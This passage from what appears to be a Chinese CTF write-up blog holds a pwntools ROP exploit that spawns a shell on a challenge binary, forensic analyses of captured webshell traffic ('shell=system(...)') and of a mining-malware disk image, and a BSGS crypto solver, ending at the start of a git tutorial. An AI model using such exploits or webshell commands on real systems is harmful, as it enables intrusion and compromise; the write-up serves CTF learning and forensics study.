parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "pwn-f80da3ccc4.challenge.xctf.org.cn"
remote_port = "9999"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 # b *(good_news+105)
 b *(vuln+109)
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port, ssl=True)
else:
 sys.exit(1)

elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def cmd(x):
 sla(b"Choose (good/vuln/exit): ", x)


bss = 0x404080
leave_ret = 0x40134a
ret_addr = 0x040101a

cmd("good")
payload = b'a'*(0x20-1)+b'B'
sa("first:\n", payload)

# libc_leaking
cmd("good")
ru(b"B")
try_leak = u64(rc(6).ljust(8, b'\x00'))
log.info(VIO_TEXT(f"try to leak an addr:{hex(try_leak)}"))

libc_base = try_leak-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
binsh_addr = libc_base+(libc.search(b'/bin/sh\x00')).__next__()
pop_rdi = libc_base+0x2a3e5

log.success(CLEAR_TEXT(f"system_addr:{hex(system_addr)}"))
log.success(CLEAR_TEXT(f"binsh_addr:{hex(binsh_addr)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# stack leaking
cmd("exit")
sla(b"Are you sure ? [y/n]\n", "n")

cmd("good")
stack_leak = get_64()-0x27
log.info(VIO_TEXT(f"stack_leak:{hex(stack_leak)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# 
cmd("vuln")
payload = flat(
 b'exec',
 p32(0),
 p64(pop_rdi),
 p64(binsh_addr),
 p64(ret_addr),
 p64(system_addr)
).ljust(0x30, b'\x00')
payload += p64(stack_leak)+p64(leave_ret)
sla("payload: \n", payload)

io.interactive()

forensics

checkwebshell

一堆http的shell.php，先试着strings抓一下flag

打开wireshark进行搜索分组字节流，找到秘密上传文件，是一个SM4加密文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


POST /shell.php HTTP/1.1
Host: 192.168.144.128:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

shell=system("type flag.txt");
HTTP/1.1 200 OK
Date: Mon, 11 Aug 2025 08:40:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<?php
class SM4 {
 const ENCRYPT = 1;
 private $sk;
 private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
 private static $CK = [
 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
 ];
 private static $SboxTable = [
 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
 ];

 public function __construct($key) {
 $this->setKey($key);
 }
 public function setKey($key) {
 if (strlen($key) != 16) {
 throw new Exception("SM4");
 }
 $key = $this->strToIntArray($key);
 $k = array_merge($key, [0, 0, 0, 0]);
 for ($i = 0; $i < 4; $i++) {
 $k[$i] ^= self::$FK[$i];
 }
 for ($i = 0; $i < 32; $i++) {
 $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
 $this->sk[$i] = $k[$i + 4];
 }
 }
 public function encrypt($plaintext) {
 $len = strlen($plaintext);
 $padding = 16 - ($len % 16);
 $plaintext .= str_repeat(chr($padding), $padding);
 $ciphertext = '';
 for ($i = 0; $i < strlen($plaintext); $i += 16) {
 $block = substr($plaintext, $i, 16);
 $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
 }
 return $ciphertext;
 }
 private function cryptBlock($block, $mode) {
 $x = $this->strToIntArray($block);

 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[$i];
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
 }
 private function F($x1, $x2, $x3, $rk) {
 return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
 }
 private function CKF($a, $b, $c, $ck) {
 return $a ^ $this->T($b ^ $c ^ $ck);
 }
 private function T($x) {
 return $this->L($this->S($x));
 }
 private function S($x) {
 $result = 0;
 for ($i = 0; $i < 4; $i++) {
 $byte = ($x >> (24 - $i * 8)) & 0xFF;
 $result |= self::$SboxTable[$byte] << (24 - $i * 8);
 }
 return $result;
 }
 private function L($x) {
 return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
 }
 private function rotl($x, $n) {
 return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
 }
 private function strToIntArray($str) {
 $result = [];
 for ($i = 0; $i < 4; $i++) {
 $offset = $i * 4;
 $result[$i] =
 (ord($str[$offset]) << 24) |
 (ord($str[$offset + 1]) << 16) |
 (ord($str[$offset + 2]) << 8) |
 ord($str[$offset + 3]);
 }
 return $result;
 }
 private function intArrayToStr($array) {
 $str = '';
 foreach ($array as $int) {
 $str .= chr(($int >> 24) & 0xFF);
 $str .= chr(($int >> 16) & 0xFF);
 $str .= chr(($int >> 8) & 0xFF);
 $str .= chr($int & 0xFF);
 }
 return $str;
 }
}
try {
 $key = "a8a58b78f41eeb6a";
 $sm4 = new SM4($key);
 $plaintext = "flag";
 $ciphertext = $sm4->encrypt($plaintext);
 echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
 echo $e->getMessage() ;
}
?>

echo base64后面注释的应该就是原flag逻辑，反向解答出flag即可

SM4密钥是$key,解密走32轮加密

encrypt会自动进行PKCS#7填充，所以flag会被填充为flag+12字节’\x0c'

反向解密要去除掉填充

下面是改了之后的

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153



<?php
class SM4 {
 const ENCRYPT = 1;
 private $sk;
 private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
 private static $CK = [
 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
 ];
 private static $SboxTable = [
 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
 ];

 public function __construct($key) {
 $this->setKey($key);
 }
 public function setKey($key) {
 if (strlen($key) != 16) {
 throw new Exception("SM4");
 }
 $key = $this->strToIntArray($key);
 $k = array_merge($key, [0, 0, 0, 0]);
 for ($i = 0; $i < 4; $i++) {
 $k[$i] ^= self::$FK[$i];
 }
 for ($i = 0; $i < 32; $i++) {
 $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
 $this->sk[$i] = $k[$i + 4];
 }
 }
 public function encrypt($plaintext) {
 $len = strlen($plaintext);
 $padding = 16 - ($len % 16);
 $plaintext .= str_repeat(chr($padding), $padding);
 $ciphertext = '';
 for ($i = 0; $i < strlen($plaintext); $i += 16) {
 $block = substr($plaintext, $i, 16);
 $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
 }
 return $ciphertext;
 }
 private function cryptBlock($block, $mode) {
 $x = $this->strToIntArray($block);

 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[$i];
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
 }
 public function decrypt($ciphertext) {
 $plaintext = '';
 for ($i = 0; $i < strlen($ciphertext); $i += 16) {
 $block = substr($ciphertext, $i, 16);
 $plaintext .= $this->cryptBlockDecrypt($block);
 }
 // 去除填充
 $padding = ord(substr($plaintext, -1));
 return substr($plaintext, 0, -$padding);
}
 private function cryptBlockDecrypt($block) {
 $x = $this->strToIntArray($block);
 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[31 - $i]; // 注意解密要逆序
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
}
 private function F($x1, $x2, $x3, $rk) {
 return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
 }
 private function CKF($a, $b, $c, $ck) {
 return $a ^ $this->T($b ^ $c ^ $ck);
 }
 private function T($x) {
 return $this->L($this->S($x));
 }
 private function S($x) {
 $result = 0;
 for ($i = 0; $i < 4; $i++) {
 $byte = ($x >> (24 - $i * 8)) & 0xFF;
 $result |= self::$SboxTable[$byte] << (24 - $i * 8);
 }
 return $result;
 }
 private function L($x) {
 return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
 }
 private function rotl($x, $n) {
 return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
 }
 private function strToIntArray($str) {
 $result = [];
 for ($i = 0; $i < 4; $i++) {
 $offset = $i * 4;
 $result[$i] =
 (ord($str[$offset]) << 24) |
 (ord($str[$offset + 1]) << 16) |
 (ord($str[$offset + 2]) << 8) |
 ord($str[$offset + 3]);
 }
 return $result;
 }

 private function intArrayToStr($array) {
 $str = '';
 foreach ($array as $int) {
 $str .= chr(($int >> 24) & 0xFF);
 $str .= chr(($int >> 16) & 0xFF);
 $str .= chr(($int >> 8) & 0xFF);
 $str .= chr($int & 0xFF);
 }
 return $str;
 }
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);

$ciphertext = base64_decode("VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu");

$plaintext = $sm4->decrypt($ciphertext);
echo $plaintext; // 输出 flag
} catch (exception $e) {
 echo $e->getmessage() ;
}
?>

SilentMiner

攻击者的ip地址

攻击者共进行多少次ssh口令爆破失败？

后门文件路径的绝对路径

攻击者用户分发恶意文件的域名（注意系统时区）

挖矿病毒所属的家族（全小写）

redemail有两个.e01文件，读不了挂不了，服了

直接看dd

192.168.145.131为ssh发出地址

kpart挂载dd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


❯ sudo kpartx -av ./disk.dd
[sudo] nan0in27 的密码：
add map loop0p1 (254:0): 0 1048576 linear 7:0 2048
add map loop0p2 (254:1): 0 2 linear 7:0 1052670
add map loop0p5 (254:2): 0 40888320 linear 7:0 1052672


❯ sudo mount /dev/mapper/loop0p2 /mnt/temp_disk2

❯ sudo mount /dev/mapper/loop0p5 /mnt/temp_disk2

然后进入到temp_disk2查看

/var/log/auth.log

可以看到有大量的failed爆破，我们grep出数量

258

不知道为什么只有257，少了1行

发现有个执行了exec “/bin/sh"指令的，进去看看

确实是后门

/usr/sbin/sshd

发现有dnsmasq.log，印象中是作为服务器的，看看日志

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


❯ sudo grep "query\[" ./dnsmasq.log | awk '{print $6}' | sort -u
a.sinaimg.cn
aus5.mozilla.org
ax.ifeng.com
baidu.com
c0.ifengimg.com
changelogs.ubuntu.com
cm.adxvip.com
cm.fastapi.net
cn.bing.com
connectivity-check.ubuntu.com
console.zhibo.ifeng.com
content-signature-2.cdn.mozilla.net
contile.services.mozilla.com
cook.iqiyi.com
cpro.baidustatic.com
cstaticdun.126.net
daisy.ubuntu.com
datahub.zhihu.com
data.video.iqiyi.com
detectportal.firefox.com
dfp-business.iqiyi.com
d.ifengimg.com
d.sinaimg.cn
dsp.djc888.cn
eclick.baidu.com
err.ifengcloud.ifeng.com
example.org
f10.baidu.com
fc4tn.baidu.com
firefox.settings.services.mozilla.com
f.video.weibocdn.com
google.com
h5.sinaimg.cn
hm.baidu.com
_https._tcp.mirrors.tuna.tsinghua.edu.cn
img.ifeng.com
incoming.telemetry.mozilla.org
ipv4only.arpa
i.sso.sina.com.cn
login.sina.com.cn
lupic.cdn.bcebos.com
mesh.if.iqiyi.com
m.iqiyipic.com
mirrors.tuna.tsinghua.edu.cn
msg.qy.net
ocsp.dcocsp.cn
ocsp.digicert.cn
ocsp.digicert.com
ocsp.globalsign.com
ocsp.sectigochina.com
ocsp.trust-provider.cn
opencdnh3.jomodns.com
o.pki.goog
p0.ifengimg.com
p1.ifengimg.com
passport.weibo.com
pdb.5hte21mz.com
pic0.iqiyipic.com
pic1.iqiyipic.com
pic2.iqiyipic.com
pic2.zhimg.com
pic3.iqiyipic.com
pic3.zhimg.com
pic4.iqiyipic.com
pic5.iqiyipic.com
pic6.iqiyipic.com
pic7.iqiyipic.com
pic8.iqiyipic.com
pic9.iqiyipic.com
pica.zhimg.com
picx.zhimg.com
pos.baidu.com
push.services.mozilla.com
region.ifeng.com
render-server.cdn.bcebos.com
revive.outin.cn
safebrowsing.googleapis.com
s.cpro.baidu.com
security.iqiyi.com
services.addons.mozilla.org
shankapi.ifeng.com
simg.s.weibo.com
stadig.ifeng.com
static-d.iqiyi.com
static.geetest.com
static.iqiyi.com
static.outin.cn
static-s.iqiyi.com
static.zhihu.com
status.geotrust.com
stc.iqiyipic.com
support.mozilla.org
t7z.cupid.iqiyi.com
tombaky.com
tvax1.sinaimg.cn
tvax2.sinaimg.cn
tvax3.sinaimg.cn
tvax4.sinaimg.cn
unpkg.zhimg.com
weibo.com
wn.pos.baidu.com
www.baidu.com
www.ctrip.com
www.ifeng.com
www.iqiyi.com
www.zhihu.com
wx1.sinaimg.cn
wx3.sinaimg.cn
wx4.sinaimg.cn
x0.ifengimg.com
x2.ifengimg.com
y0.ifengimg.com
y1.ifengimg.com
zerossl.ocsp.sectigo.com
zhihu-web-analytics.zhihu.com

tombaky.com和pdb.5hte21mz.com比较可疑

tombaky.com是对的,直接从127.0.0.1访问

实在找不到了，strings发现有一个连接记录，看看十六进制

发现一堆十六进制，拿出来看看

是一个混淆的bash脚本，我们把eval改成echo以后运行，拿到cyberchef进行base64解码

kinsing

crypto

newtrick

思路

出题人把一个离散对数问题包装在「Quaternion 四元数运算」里，障眼法而已。
实际上就是要求解：

Q^{secret} \equiv R \pmod p

然后 secret 用来生成 AES 的密钥。

明文：

1
2
3


key = md5(str(secret).encode()).hexdigest().encode()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(flag, 16))

如果 secret 是普通大整数不可约群，离散对数问题是不可解的。
但是题目明确限制：

1

assert secret < 2**50

解法

Baby-step Giant-step (BSGS) → 级别，大约 3300 万次运算，可行。
Pollard’s Rho 也行（复杂度相同），但是需要仔细处理群结构随机性。

实际问题

一开始跑，原始 BSGS 失败的原因：用了 quaternion 但没写 inverse，导致 giant-step 不对，secret跑不出来并且填充也不对
修复方法：补上 quaternion 的逆元计算：
- 四元数的逆为：
  
  Q^{-1} = \frac{(a, -b, -c, -d)}{a^2+b^2+c^2+d^2} \pmod p
有了 inverse，BSGS 就正常运行，可以成功找到 secret。

最终步骤

修复 quaternion mul 和 inverse
实现 BSGS
找到 secret

生成 AES key：

1

key = md5(str(secret).encode()).hexdigest().encode()

用 AES-ECB 解密 ciphertext，得到 flag

脚本(ai梭哈)：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from math import isqrt


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

p = 115792089237316195423570985008687907853269984665640564039457584007913129639747

Q_components = (123456789, 987654321, 135792468, 864297531)

R_components = (
 53580504271939954579696282638160058429308301927753139543147605882574336327145,
 79991318245209837622945719467562796951137605212294979976479199793453962090891,
 53126869889181040587037210462276116096032594677560145306269148156034757160128,
 97368024230306399859522783292246509699830254294649668434604971213496467857155
)

ciphertext = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e'

class Quaternion:
 def __init__(self, a, b, c, d):
 self.a = a % p
 self.b = b % p
 self.c = c % p
 self.d = d % p

 def __eq__(self, other):
 return (self.a, self.b, self.c, self.d) == (other.a, other.b, other.c, other.d)

 def __hash__(self):
 return hash((self.a, self.b, self.c, self.d))

 def __repr__(self):
 return f"Q({self.a}, {self.b}, {self.c}, {self.d})"

 def __mul__(self, other):
 a1, b1, c1, d1 = self.a, self.b, self.c, self.d
 a2, b2, c2, d2 = other.a, other.b, other.c, other.d
 return Quaternion(
 (a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
 (a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
 (a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
 (a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
 )

 def pow(self, e):
 res = Quaternion(1, 0, 0, 0)
 base = self
 while e > 0:
 if e & 1:
 res = res * base
 base = base * base
 e >>= 1
 return res

# ======================
# 计算 quaternion 的逆元
# ======================

def quat_inverse(Q):
 # norm = a^2+b^2+c^2+d^2
 norm = (Q.a*Q.a + Q.b*Q.b + Q.c*Q.c + Q.d*Q.d) % p
 inv_norm = pow(norm, -1, p)
 return Quaternion(
 (Q.a * inv_norm) % p,
 (-Q.b * inv_norm) % p,
 (-Q.c * inv_norm) % p,
 (-Q.d * inv_norm) % p
 )

# ======================
# BSGS 求离散对数
# ======================

def bsgs(Q, R, bound):
 m = isqrt(bound) + 1

 # baby steps
 table = {}
 cur = Quaternion(1, 0, 0, 0)
 for j in range(m):
 table[(cur.a, cur.b, cur.c, cur.d)] = j
 cur = cur * Q

 # giant steps
 Qm_inv = quat_inverse(Q.pow(m))

 cur = R
 for i in range(m+1):
 key = (cur.a, cur.b, cur.c, cur.d)
 if key in table:
 return i*m + table[key]
 cur = cur * Qm_inv
 return None


if __name__ == "__main__":
 Q = Quaternion(*Q_components)
 R = Quaternion(*R_components)

 print("[*] Running BSGS to recover secret...")
 secret = bsgs(Q, R, 2**50)

 if secret is None:
 print("[-] Failed to find secret...")
 else:
 print("[+] Found secret =", secret)

 # AES 解密
 key = md5(str(secret).encode()).hexdigest().encode() # 32字节
 cipher = AES.new(key, AES.MODE_ECB)
 flag = unpad(cipher.decrypt(ciphertext), 16)
 print(CLEAR_TEXT(f"[+] Flag = {flag.decode()}"))

git && github指令速学速记

Mon, 25 Aug 2025 14:58:00 +0000

基础须知

什么是版本管理和版本管理系统

git是一个VCS（Version Control System），用于管理修改了的code,支持不同的对于一个项目的版本管理，使其更容易与他人合作并实时记录一系列操作。当然文件文档也可以。有了git,就可以进行版本回溯、diff等操作，了解到一个项目的构建历史。当然也可以实现合并不同的分支、或者创建在不同的分支操作等等

安装

windows直接去github release下载，会有一系列操作告知的

linux在cli中根据不同的发行版进行拉取安装即可

分支 commit 等基础命令

GIT仓库保存目录下文件的快照，并希望提交记录尽可能轻量

条件允许的情况下，它会将当前版本与仓库中的上一个版本进行对比，并把所有的差异打包到一起作为一个提交记录。

git会保存提交的历史记录

这也是为什么大多数提交记录的上面都有 parent 节点的原因

在本地commit存储和读取

 1
 2
 3
 4
 5
 6
 7
